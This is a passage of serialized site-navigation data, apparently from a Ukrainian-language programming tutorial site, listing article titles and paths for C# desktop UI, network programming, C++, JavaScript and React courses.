WPF","\u002Fcsharp\u002Fdesktop-ui\u002Frouted-events","01.csharp\u002F12.desktop-ui\u002F16.routed-events",{"title":1475,"path":1476,"stem":1477},"Data Binding — Від Code-Behind до Декларативності","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part1","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part1",{"title":1479,"path":1480,"stem":1481},"INotifyPropertyChanged — Живе оновлення UI","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part2","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part2",{"title":1483,"path":1484,"stem":1485},"Compiled Bindings в Avalonia — Безпека на етапі компіляції","\u002Fcsharp\u002Fdesktop-ui\u002F17a.avalonia-compiled-bindings","01.csharp\u002F12.desktop-ui\u002F17a.avalonia-compiled-bindings",{"title":1487,"path":1488,"stem":1489},"Просунутий Data Binding — ElementName, RelativeSource, MultiBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-advanced","01.csharp\u002F12.desktop-ui\u002F18.data-binding-advanced",{"title":1491,"path":1492,"stem":1493},"Value Converters — Перетворення типів даних у Data Binding","\u002Fcsharp\u002Fdesktop-ui\u002Fvalue-converters","01.csharp\u002F12.desktop-ui\u002F19.value-converters",{"title":1495,"path":1496,"stem":1497},"Data Templates — Візуалізація об'єктів у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-templates","01.csharp\u002F12.desktop-ui\u002F20.data-templates",{"title":1499,"path":1500,"stem":1501},"Collections Binding Part 1 — ObservableCollection та ItemsControl","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part1","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part1",{"title":1503,"path":1504,"stem":1505},"Collections Binding Part 2 — ICollectionView, Filtering, Sorting та Virtualization","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part2","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part2",{"title":1507,"path":1508,"stem":1509},"MVVM Pattern — Від Spaghetti Code до архітектури","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-pattern","01.csharp\u002F12.desktop-ui\u002F22.mvvm-pattern",{"title":1511,"path":1512,"stem":1513},"ViewModel Implementation — Від BaseViewModel до валідації","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-implementation","01.csharp\u002F12.desktop-ui\u002F23.viewmodel-implementation",{"title":1515,"path":1516,"stem":1517},"Commands — Від event handlers до декларативних команд","\u002Fcsharp\u002Fdesktop-ui\u002Fcommands","01.csharp\u002F12.desktop-ui\u002F24.commands",{"title":1519,"path":1520,"stem":1521},"MVVM Toolkit — MVVM без boilerplate через Source Generators","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-toolkit","01.csharp\u002F12.desktop-ui\u002F25.mvvm-toolkit",{"title":1523,"path":1524,"stem":1525},"Messenger Pattern — Комунікація між ViewModel без прямих посилань","\u002Fcsharp\u002Fdesktop-ui\u002Fmessenger-pattern","01.csharp\u002F12.desktop-ui\u002F26.messenger-pattern",{"title":1527,"path":1528,"stem":1529},"Стилі WPF — CSS для десктопу","\u002Fcsharp\u002Fdesktop-ui\u002Fstyles-basics","01.csharp\u002F12.desktop-ui\u002F27.styles-basics",{"title":1531,"path":1532,"stem":1533},"CSS-like стилі Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F27a.avalonia-css-styling","01.csharp\u002F12.desktop-ui\u002F27a.avalonia-css-styling",{"title":1535,"path":1536,"stem":1537},"Control Templates — Частина 1. Концепція та TemplateBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part1","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part1",{"title":1539,"path":1540,"stem":1541},"Control Templates — Частина 2. Named Parts та ContentPresenter","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part2","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part2",{"title":1543,"path":1544,"stem":1545},"Control Themes в Avalonia — нова ера стилізації","\u002Fcsharp\u002Fdesktop-ui\u002F28a.avalonia-control-themes","01.csharp\u002F12.desktop-ui\u002F28a.avalonia-control-themes",{"title":1547,"path":1548,"stem":1549},"Triggers та Visual State Manager у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Ftriggers-visual-states","01.csharp\u002F12.desktop-ui\u002F29.triggers-visual-states",{"title":1551,"path":1552,"stem":1553},"Pseudo-classes в Avalonia — замість WPF Triggers","\u002Fcsharp\u002Fdesktop-ui\u002F29a.avalonia-pseudo-classes","01.csharp\u002F12.desktop-ui\u002F29a.avalonia-pseudo-classes",{"title":1555,"path":1556,"stem":1557},"Теми та ресурсні словники у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fresources-themes","01.csharp\u002F12.desktop-ui\u002F30.resources-themes",{"title":1559,"path":1560,"stem":1561},"Avalonia Themes — Fluent Design та система тематизації","\u002Fcsharp\u002Fdesktop-ui\u002F30a.avalonia-themes-fluent","01.csharp\u002F12.desktop-ui\u002F30a.avalonia-themes-fluent",{"title":1563,"path":1564,"stem":1565},"Контроли колекцій — глибоке занурення","\u002Fcsharp\u002Fdesktop-ui\u002Fcollection-controls","01.csharp\u002F12.desktop-ui\u002F31.collection-controls",{"title":1567,"path":1568,"stem":1569},"DataGrid — колонки та базове відображення","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part1","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part1",{"title":1571,"path":1572,"stem":1573},"DataGrid — сортування, фільтрація, редагування","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part2","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part2",{"title":1575,"path":1576,"stem":1577},"TreeView та GridView","\u002Fcsharp\u002Fdesktop-ui\u002Ftreeview-listview","01.csharp\u002F12.desktop-ui\u002F33.treeview-listview",{"title":1579,"path":1580,"stem":1581},"Меню, Toolbar, ContextMenu, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fmenus-toolbars","01.csharp\u002F12.desktop-ui\u002F34.menus-toolbars",{"title":1583,"path":1584,"stem":1585},"Навігація та керування вікнами. Частина 1: вікна та сторінки","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part1","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part1",{"title":1587,"path":1588,"stem":1589},"Навігація та керування вікнами. Частина 2: MVVM-навігація","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part2","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part2",{"title":1591,"path":1592,"stem":1593},"Avalonia — Навігація та діалоги","\u002Fcsharp\u002Fdesktop-ui\u002F35a.avalonia-navigation-dialogs","01.csharp\u002F12.desktop-ui\u002F35a.avalonia-navigation-dialogs",{"title":1595,"path":1596,"stem":1597},"Діалоги та File Pickers у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdialogs-file-pickers","01.csharp\u002F12.desktop-ui\u002F36.dialogs-file-pickers",{"title":1599,"path":1600,"stem":1601},"UserControl: компонентний підхід у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fuser-controls","01.csharp\u002F12.desktop-ui\u002F37.user-controls",{"title":1603,"path":1604,"stem":1605},"Custom Controls: Lookless Controls у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fcustom-controls","01.csharp\u002F12.desktop-ui\u002F38.custom-controls",{"title":1607,"path":1608,"stem":1609},"Avalonia TemplatedControl — Lookless Controls","\u002Fcsharp\u002Fdesktop-ui\u002F38a.avalonia-templated-controls","01.csharp\u002F12.desktop-ui\u002F38a.avalonia-templated-controls",{"title":1611,"path":1612,"stem":1613},"Анімації у WPF: Storyboard та Easing Functions","\u002Fcsharp\u002Fdesktop-ui\u002Fanimations-transitions","01.csharp\u002F12.desktop-ui\u002F39.animations-transitions",{"title":1615,"path":1616,"stem":1617},"Анімації в Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F39a.avalonia-animations","01.csharp\u002F12.desktop-ui\u002F39a.avalonia-animations",{"title":1619,"path":1620,"stem":1621},"2D Графіка та Мультимедіа у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fmedia-graphics","01.csharp\u002F12.desktop-ui\u002F40.media-graphics",{"title":1623,"path":1624,"stem":1625},"Dependency Injection у WPF та Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Fdi-integration","01.csharp\u002F12.desktop-ui\u002F41.di-integration",{"title":1627,"path":1628,"stem":1629},"SQLite та EF Core у десктопних додатках","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part1","01.csharp\u002F12.desktop-ui\u002F42.data-persistence-part1",{"title":1631,"path":1632,"stem":1633},"Repository Pattern та Unit of Work","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part2","01.csharp\u002F12.desktop-ui\u002F43.data-persistence-part2",{"title":1635,"path":1636,"stem":1637},"Тестування ViewModels","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-testing","01.csharp\u002F12.desktop-ui\u002F44.viewmodel-testing",{"title":1639,"path":1640,"stem":1641},"Avalonia Headless Testing — тестування UI без вікон","\u002Fcsharp\u002Fdesktop-ui\u002F44a.avalonia-headless-testing","01.csharp\u002F12.desktop-ui\u002F44a.avalonia-headless-testing",{"title":1643,"path":1644,"stem":1645},"Кросплатформна розробка з Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-cross-platform","01.csharp\u002F12.desktop-ui\u002F45.avalonia-cross-platform",{"title":1647,"path":1648,"stem":1649},"Пакування та розгортання Avalonia додатків","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F46.avalonia-packaging-deployment",{"title":1651,"path":1652,"stem":1653},"Розгортання WPF застосунків","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F47.wpf-packaging-deployment",{"title":1655,"icon":658,"path":1656,"stem":1657,"children":1658,"page":59},"Network Programming","\u002Fcsharp\u002Fnetwork-programming","01.csharp\u002F13.network-programming",[1659,1663,1667,1671,1675,1679,1683,1687,1691,1695,1699],{"title":1660,"path":1661,"stem":1662},"Основи комп'ютерних мереж","\u002Fcsharp\u002Fnetwork-programming\u002Ffoundations","01.csharp\u002F13.network-programming\u002F01.foundations",{"title":1664,"path":1665,"stem":1666},"Модель OSI та стек TCP\u002FIP","\u002Fcsharp\u002Fnetwork-programming\u002Fosi-model","01.csharp\u002F13.network-programming\u002F02.osi-model",{"title":1668,"path":1669,"stem":1670},"IP-протокол та адресація","\u002Fcsharp\u002Fnetwork-programming\u002Fip-addressing","01.csharp\u002F13.network-programming\u002F03.ip-addressing",{"title":1672,"path":1673,"stem":1674},"UDP — протокол без з'єднання","\u002Fcsharp\u002Fnetwork-programming\u002Fudp","01.csharp\u002F13.network-programming\u002F05.udp",{"title":1676,"path":1677,"stem":1678},"UDP Broadcast та Multicast","\u002Fcsharp\u002Fnetwork-programming\u002Fudp-broadcast-multicast","01.csharp\u002F13.network-programming\u002F06.udp-broadcast-multicast",{"title":1680,"path":1681,"stem":1682},"HTTP — протокол вебу","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-fundamentals","01.csharp\u002F13.network-programming\u002F07.http-fundamentals",{"title":1684,"path":1685,"stem":1686},"HttpListener — вбудований HTTP-сервер .NET","\u002Fcsharp\u002Fnetwork-programming\u002F07a.http-listener","01.csharp\u002F13.network-programming\u002F07a.http-listener",{"title":1688,"path":1689,"stem":1690},"HTTP Advanced — cookies, аутентифікація та HTTPS","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-advanced","01.csharp\u002F13.network-programming\u002F08.http-advanced",{"title":1692,"path":1693,"stem":1694},"SMTP та протоколи електронної пошти","\u002Fcsharp\u002Fnetwork-programming\u002Fsmtp","01.csharp\u002F13.network-programming\u002F09.smtp",{"title":1696,"path":1697,"stem":1698},"WebSocket — повнодуплексний протокол реального часу","\u002Fcsharp\u002Fnetwork-programming\u002Fwebsockets","01.csharp\u002F13.network-programming\u002F10.websockets",{"title":1700,"path":1701,"stem":1702},"TLS\u002FSSL — криптографічний захист мережевих з'єднань","\u002Fcsharp\u002Fnetwork-programming\u002Ftls-ssl","01.csharp\u002F13.network-programming\u002F11.tls-ssl",{"title":1704,"path":1705,"stem":1706},"C# & .NET: The Ultimate Roadmap","\u002Fcsharp\u002Froadmap","01.csharp\u002Froadmap",{"title":1708,"icon":1709,"path":1710,"stem":1711,"children":1712,"page":59},"C++","i-devicon-cplusplus","\u002Fcpp","02.cpp",[1713,1717,1721,1725,1729,1733,1737,1741,1745,1748,1752,1756,1760,1764,1768,1772,1776,1780,1784,1788,1792,1796,1800,1804,1808,1812,1816,1820,1824,1828,1832,1836,1840,1844,1848,1852,1856,1860,1864,1868,1872,1876,1880,1884,1888,1892,1896,1900,1904,1908],{"title":1714,"path":1715,"stem":1716},"Вступ у програмування та алгоритми","\u002Fcpp\u002Fintro-algorithms","02.cpp\u002F01.intro-algorithms",{"title":1718,"path":1719,"stem":1720},"Code Style: угоди про оформлення коду","\u002Fcpp\u002Fcode-style","02.cpp\u002F02.code-style",{"title":1722,"path":1723,"stem":1724},"Середовище розробки та перший проєкт","\u002Fcpp\u002Fide-setup","02.cpp\u002F03.ide-setup",{"title":1726,"path":1727,"stem":1728},"Вивід даних на екран","\u002Fcpp\u002Fdata-output","02.cpp\u002F04.data-output",{"title":1730,"path":1731,"stem":1732},"Типи даних, змінні та константи","\u002Fcpp\u002Fdata-types-variables","02.cpp\u002F05.data-types-variables",{"title":1734,"path":1735,"stem":1736},"Ввід даних з клавіатури","\u002Fcpp\u002Fdata-input","02.cpp\u002F06.data-input",{"title":1738,"path":1739,"stem":1740},"Оператори, перетворення типів та логічні операції","\u002Fcpp\u002Foperators-type-conversion","02.cpp\u002F07.operators-type-conversion",{"title":1742,"path":1743,"stem":1744},"Цикли","\u002Fcpp\u002Floops","02.cpp\u002F08.loops",{"title":32,"path":1746,"stem":1747},"\u002Fcpp\u002Farrays","02.cpp\u002F09.arrays",{"title":1749,"path":1750,"stem":1751},"Алгоритми сортування та аналіз складності","\u002Fcpp\u002Fsorting","02.cpp\u002F10.sorting",{"title":1753,"path":1754,"stem":1755},"Алгоритми пошуку","\u002Fcpp\u002Fsearching","02.cpp\u002F11.searching",{"title":1757,"path":1758,"stem":1759},"Функції: основи","\u002Fcpp\u002Ffunctions-basics","02.cpp\u002F12.functions-basics",{"title":1761,"path":1762,"stem":1763},"Функції: прототипи, область видимості та додаткові можливості","\u002Fcpp\u002Ffunctions-scope","02.cpp\u002F13.functions-scope",{"title":1765,"path":1766,"stem":1767},"Функції: перевантаження та шаблони","\u002Fcpp\u002Ffunctions-overloading-templates","02.cpp\u002F14.functions-overloading-templates",{"title":1769,"path":1770,"stem":1771},"Вказівники: основи","\u002Fcpp\u002Fpointers-basics","02.cpp\u002F15.pointers-basics",{"title":1773,"path":1774,"stem":1775},"Посилання (References)","\u002Fcpp\u002Freferences","02.cpp\u002F16.references",{"title":1777,"path":1778,"stem":1779},"Вказівники, const і масиви","\u002Fcpp\u002Fpointers-const-arrays","02.cpp\u002F17.pointers-const-arrays",{"title":1781,"path":1782,"stem":1783},"Адресна арифметика","\u002Fcpp\u002Fpointer-arithmetic","02.cpp\u002F18.pointer-arithmetic",{"title":1785,"path":1786,"stem":1787},"Динамічна пам'ять","\u002Fcpp\u002Fdynamic-memory","02.cpp\u002F19.dynamic-memory",{"title":1789,"path":1790,"stem":1791},"Вказівники типу void","\u002Fcpp\u002Fvoid-pointers","02.cpp\u002F20.void-pointers",{"title":1793,"path":1794,"stem":1795},"Вказівники на вказівники","\u002Fcpp\u002Fpointers-to-pointers","02.cpp\u002F21.pointers-to-pointers",{"title":1797,"path":1798,"stem":1799},"Оператор доступу до членів через вказівник (->)","\u002Fcpp\u002Fmember-access-operator","02.cpp\u002F22.member-access-operator",{"title":1801,"path":1802,"stem":1803},"Цикл for-each (Range-based for)","\u002Fcpp\u002Fforeach-loop","02.cpp\u002F23.foreach-loop",{"title":1805,"path":1806,"stem":1807},"Вказівники на функції","\u002Fcpp\u002Ffunction-pointers","02.cpp\u002F24.function-pointers",{"title":1809,"path":1810,"stem":1811},"Лямбда-вирази","\u002Fcpp\u002Flambdas","02.cpp\u002F25.lambdas",{"title":1813,"path":1814,"stem":1815},"Лямбда-захоплення","\u002Fcpp\u002Flambda-captures","02.cpp\u002F26.lambda-captures",{"title":1817,"path":1818,"stem":1819},"Еліпсис","\u002Fcpp\u002Fellipsis","02.cpp\u002F27.ellipsis",{"title":1821,"path":1822,"stem":1823},"Безпечні альтернативи еліпсису","\u002Fcpp\u002F27a.ellipsis","02.cpp\u002F27a.ellipsis",{"title":1825,"path":1826,"stem":1827},"Аргументи командного рядка","\u002Fcpp\u002Fcommand-line-arguments","02.cpp\u002F28.command-line-arguments",{"title":1829,"path":1830,"stem":1831},"Перерахування (enum)","\u002Fcpp\u002Fenum","02.cpp\u002F29.enum",{"title":1833,"path":1834,"stem":1835},"Класи-перерахування (enum class)","\u002Fcpp\u002Fenum-class","02.cpp\u002F30.enum-class",{"title":1837,"path":1838,"stem":1839},"Псевдоніми типів (typedef і using)","\u002Fcpp\u002Ftype-aliases","02.cpp\u002F31.type-aliases",{"title":1841,"path":1842,"stem":1843},"Системи числення та двійкова арифметика","\u002Fcpp\u002Fnumber-systems","02.cpp\u002F32.number-systems",{"title":1845,"path":1846,"stem":1847},"Структури (struct): агрегування даних","\u002Fcpp\u002Fstruct","02.cpp\u002F33.struct",{"title":1849,"path":1850,"stem":1851},"Структури у функціях","\u002Fcpp\u002Fstruct-functions","02.cpp\u002F34.struct-functions",{"title":1853,"path":1854,"stem":1855},"Масиви структур і вкладені структури","\u002Fcpp\u002Fstruct-arrays","02.cpp\u002F35.struct-arrays",{"title":1857,"path":1858,"stem":1859},"Патерни struct та межі застосування","\u002Fcpp\u002Fstruct-patterns","02.cpp\u002F36.struct-patterns",{"title":1861,"path":1862,"stem":1863},"Символи та таблиця ASCII","\u002Fcpp\u002Fascii-characters","02.cpp\u002F37.ascii-characters",{"title":1865,"path":1866,"stem":1867},"Unicode та кодування UTF","\u002Fcpp\u002Funicode-utf","02.cpp\u002F38.unicode-utf",{"title":1869,"path":1870,"stem":1871},"C-style рядки","\u002Fcpp\u002Fc-strings","02.cpp\u002F39.c-strings",{"title":1873,"path":1874,"stem":1875},"Вступ до std::string","\u002Fcpp\u002Fstd-string-intro","02.cpp\u002F40.std-string-intro",{"title":1877,"path":1878,"stem":1879},"Довжина, ємність та доступ до символів std::string","\u002Fcpp\u002Fstd-string-capacity-access","02.cpp\u002F41.std-string-capacity-access",{"title":1881,"path":1882,"stem":1883},"Модифікація std::string: присвоювання, додавання, вставка, видалення та заміна","\u002Fcpp\u002Fstd-string-modification","02.cpp\u002F42.std-string-modification",{"title":1885,"path":1886,"stem":1887},"Пошук у std::string: find, npos та практичні патерни","\u002Fcpp\u002Fstd-string-search","02.cpp\u002F43.std-string-search",{"title":1889,"path":1890,"stem":1891},"std::string_view: невласницький погляд на рядок без копіювання","\u002Fcpp\u002Fstd-string-view","02.cpp\u002F44.std-string-view",{"title":1893,"path":1894,"stem":1895},"Об'єднання (union): один блок пам'яті, кілька інтерпретацій","\u002Fcpp\u002Funion","02.cpp\u002F45.union",{"title":1897,"path":1898,"stem":1899},"Організація коду: файли, препроцесор, простори імен","\u002Fcpp\u002Fmultifile-programs","02.cpp\u002F46.multifile-programs",{"title":1901,"path":1902,"stem":1903},"Робота з файлами: C-стиль (stdio.h)","\u002Fcpp\u002Fc-style-files","02.cpp\u002F47.c-style-files",{"title":1905,"path":1906,"stem":1907},"Робота з файлами: C++-стиль (fstream)","\u002Fcpp\u002Fcpp-style-files","02.cpp\u002F48.cpp-style-files",{"title":1909,"path":1910,"stem":1911},"План навчання: Курс C++ — Продовження (Статті 29–60+)","\u002Fcpp\u002Fcurriculum-plan","02.cpp\u002Fcurriculum-plan",{"title":1913,"icon":1914,"path":1915,"stem":1916,"children":1917,"page":59},"JavaScript","i-devicon-javascript","\u002Fjavascript","03.javascript",[1918,1944,1998,2020,2324,2362],{"title":1919,"icon":1920,"path":1921,"stem":1922,"children":1923,"page":59},"Events","i-lucide-mouse-pointer-click","\u002Fjavascript\u002Fevents","03.javascript\u002F01.events",[1924,1928,1932,1936,1940],{"title":1925,"path":1926,"stem":1927},"Вступ до подій браузера","\u002Fjavascript\u002Fevents\u002Fintro","03.javascript\u002F01.events\u002F01.intro",{"title":1929,"path":1930,"stem":1931},"Бульбашковий механізм (Bubbling) та занурення (Capturing)","\u002Fjavascript\u002Fevents\u002Fbubbling-capturing","03.javascript\u002F01.events\u002F02.bubbling-capturing",{"title":1933,"path":1934,"stem":1935},"Делегування подій (Event Delegation)","\u002Fjavascript\u002Fevents\u002Fdelegate-events","03.javascript\u002F01.events\u002F03.delegate-events",{"title":1937,"path":1938,"stem":1939},"Типові дії браузера та preventDefault()","\u002Fjavascript\u002Fevents\u002Fprevent-default","03.javascript\u002F01.events\u002F04.prevent-default",{"title":1941,"path":1942,"stem":1943},"Запуск користувацьких подій (Custom Events)","\u002Fjavascript\u002Fevents\u002Fcustom-events","03.javascript\u002F01.events\u002F05.custom-events",{"title":1945,"icon":1946,"path":1947,"stem":1948,"children":1949,"page":59},"Network","i-lucide-globe","\u002Fjavascript\u002Fnetwork","03.javascript\u002F02.network",[1950,1954,1958,1962,1966,1970,1974,1978,1982,1986,1990,1994],{"title":1951,"path":1952,"stem":1953},"Fetch API - Сучасний підхід до HTTP-запитів","\u002Fjavascript\u002Fnetwork\u002F01-fetch-api","03.javascript\u002F02.network\u002F01-fetch-api",{"title":1955,"path":1956,"stem":1957},"FormData - Робота з формами та файлами","\u002Fjavascript\u002Fnetwork\u002F02-formdata","03.javascript\u002F02.network\u002F02-formdata",{"title":1959,"path":1960,"stem":1961},"Відстеження прогресу завантаження","\u002Fjavascript\u002Fnetwork\u002F03-download-progress","03.javascript\u002F02.network\u002F03-download-progress",{"title":1963,"path":1964,"stem":1965},"Переривання fetch-запитів","\u002Fjavascript\u002Fnetwork\u002F04-abort-requests","03.javascript\u002F02.network\u002F04-abort-requests",{"title":1967,"path":1968,"stem":1969},"CORS - Запити між різними джерелами","\u002Fjavascript\u002Fnetwork\u002F05-cors","03.javascript\u002F02.network\u002F05-cors",{"title":1971,"path":1972,"stem":1973},"Fetch API - Повний довідник опцій","\u002Fjavascript\u002Fnetwork\u002F06-fetch-options","03.javascript\u002F02.network\u002F06-fetch-options",{"title":1975,"path":1976,"stem":1977},"URL Objects - Робота з посиланнями","\u002Fjavascript\u002Fnetwork\u002F07-url-objects","03.javascript\u002F02.network\u002F07-url-objects",{"title":1979,"path":1980,"stem":1981},"XMLHttpRequest - AJAX та низькорівневі запити","\u002Fjavascript\u002Fnetwork\u002F08-xmlhttprequest","03.javascript\u002F02.network\u002F08-xmlhttprequest",{"title":1983,"path":1984,"stem":1985},"Відновлюване завантаження файлів","\u002Fjavascript\u002Fnetwork\u002F09-resumable-upload","03.javascript\u002F02.network\u002F09-resumable-upload",{"title":1987,"path":1988,"stem":1989},"Cookies, document.cookie та світ після \"Cookiepocalypse\"","\u002Fjavascript\u002Fnetwork\u002F10-cookies","03.javascript\u002F02.network\u002F10-cookies",{"title":1991,"path":1992,"stem":1993},"js-cookie: Керування Cookies без Болю","\u002Fjavascript\u002Fnetwork\u002F11-js-cookie","03.javascript\u002F02.network\u002F11-js-cookie",{"title":1995,"path":1996,"stem":1997},"Axios: Потужний HTTP-клієнт для JavaScript","\u002Fjavascript\u002Fnetwork\u002F12-axios","03.javascript\u002F02.network\u002F12-axios",{"title":1999,"icon":2000,"path":2001,"stem":2002,"children":2003,"page":59},"Bom","i-lucide-monitor","\u002Fjavascript\u002Fbom","03.javascript\u002F03.bom",[2004,2008,2012,2016],{"title":2005,"path":2006,"stem":2007},"LocalStorage, SessionStorage та patterns збереження даних","\u002Fjavascript\u002Fbom\u002F01-localstorage","03.javascript\u002F03.bom\u002F01-localstorage",{"title":2009,"path":2010,"stem":2011},"Location Object - Керування адресою сторінки","\u002Fjavascript\u002Fbom\u002F02-location-object","03.javascript\u002F03.bom\u002F02-location-object",{"title":2013,"path":2014,"stem":2015},"History API - Керування історією браузера","\u002Fjavascript\u002Fbom\u002F03-history-api","03.javascript\u002F03.bom\u002F03-history-api",{"title":2017,"path":2018,"stem":2019},"Navigator Object - Ідентифікація та Можливості Пристрою","\u002Fjavascript\u002Fbom\u002F04-navigator-object","03.javascript\u002F03.bom\u002F04-navigator-object",{"title":2021,"icon":2022,"path":2023,"stem":2024,"children":2025},"React","i-devicon-react","\u002Fjavascript\u002Freact","03.javascript\u002F04.react\u002Findex",[2026,2027,2031,2035,2039,2043,2106,2141,2293],{"title":2021,"path":2023,"stem":2024},{"title":2028,"path":2029,"stem":2030},"Робота з Формами в React","\u002Fjavascript\u002Freact\u002Freact-forms","03.javascript\u002F04.react\u002F01.react-forms",{"title":2032,"path":2033,"stem":2034},"React Hook Form: Професійна Робота з Формами","\u002Fjavascript\u002Freact\u002Freact-hook-form","03.javascript\u002F04.react\u002F02.react-hook-form",{"title":2036,"path":2037,"stem":2038},"React Hook Form: Глибоке Розуміння Архітектури та Оптимізації","\u002Fjavascript\u002Freact\u002Freact-hook-form-new","03.javascript\u002F04.react\u002F02.react-hook-form-new",{"title":2040,"path":2041,"stem":2042},"Axios та React: Професійна Архітектура Запитів","\u002Fjavascript\u002Freact\u002Fdata-fetching-axios","03.javascript\u002F04.react\u002F03.data-fetching-axios",{"title":2044,"icon":132,"path":2045,"stem":2046,"children":2047},"Tanstack Query","\u002Fjavascript\u002Freact\u002Ftanstack-query","03.javascript\u002F04.react\u002F04.tanstack-query\u002Findex",[2048,2050,2054,2058,2062,2066,2070,2074,2078,2082,2086,2090,2094,2098,2102],{"title":2049,"path":2045,"stem":2046},"TanStack Query: Майстерність Керування Станом Сервера",{"title":2051,"path":2052,"stem":2053},"Парадигма Server State: Чому useEffect недостатньо","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-state-paradigm","03.javascript\u002F04.react\u002F04.tanstack-query\u002F01.server-state-paradigm",{"title":2055,"path":2056,"stem":2057},"Встановлення та Налаштування: Фундамент","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Finstallation-and-devtools","03.javascript\u002F04.react\u002F04.tanstack-query\u002F02.installation-and-devtools",{"title":2059,"path":2060,"stem":2061},"Основи Запитів та Магія Ключів","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fquery-basics-and-keys","03.javascript\u002F04.react\u002F04.tanstack-query\u002F03.query-basics-and-keys",{"title":2063,"path":2064,"stem":2065},"Синхронізація Даних: Життєвий Цикл Запиту","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fdata-synchronization","03.javascript\u002F04.react\u002F04.tanstack-query\u002F04.data-synchronization",{"title":2067,"path":2068,"stem":2069},"Мутації та Інвалідація: Зміна Даних","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fmutations-and-invalidation","03.javascript\u002F04.react\u002F04.tanstack-query\u002F05.mutations-and-invalidation",{"title":2071,"path":2072,"stem":2073},"Оптимістичні Оновлення: Швидше за Світло","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Foptimistic-updates","03.javascript\u002F04.react\u002F04.tanstack-query\u002F06.optimistic-updates",{"title":2075,"path":2076,"stem":2077},"Пагінація та Infinite Scroll","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fpagination-and-load-more","03.javascript\u002F04.react\u002F04.tanstack-query\u002F07.pagination-and-load-more",{"title":2079,"path":2080,"stem":2081},"Просунуті Патерни та Оптимізація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F04.tanstack-query\u002F08.advanced-patterns",{"title":2083,"path":2084,"stem":2085},"Архітектура та Best Practices","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Farchitecture-and-best-practices","03.javascript\u002F04.react\u002F04.tanstack-query\u002F09.architecture-and-best-practices",{"title":2087,"path":2088,"stem":2089},"Server-Side Rendering (SSR) та Гідратація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-side-rendering","03.javascript\u002F04.react\u002F04.tanstack-query\u002F10.server-side-rendering",{"title":2091,"path":2092,"stem":2093},"Стратегії Тестування","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Ftesting-strategies","03.javascript\u002F04.react\u002F04.tanstack-query\u002F11.testing-strategies",{"title":2095,"path":2096,"stem":2097},"Аутентифікація та Обробка Помилок","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fauthentication-and-errors","03.javascript\u002F04.react\u002F04.tanstack-query\u002F12.authentication-and-errors",{"title":2099,"path":2100,"stem":2101},"React Suspense та Майбутнє","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Freact-suspense","03.javascript\u002F04.react\u002F04.tanstack-query\u002F13.react-suspense",{"title":2103,"path":2104,"stem":2105},"Глибоке Занурення в Продуктивність","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fperformance-deep-dive","03.javascript\u002F04.react\u002F04.tanstack-query\u002F14.performance-deep-dive",{"title":2107,"icon":2022,"path":2108,"stem":2109,"children":2110},"React Router","\u002Fjavascript\u002Freact\u002Freact-router","03.javascript\u002F04.react\u002F05.react-router\u002Findex",[2111,2113,2117,2121,2125,2129,2133,2137],{"title":2112,"path":2108,"stem":2109},"React Router: Навігаційна система сучасного вебу",{"title":2114,"path":2115,"stem":2116},"Налаштування та Базовий 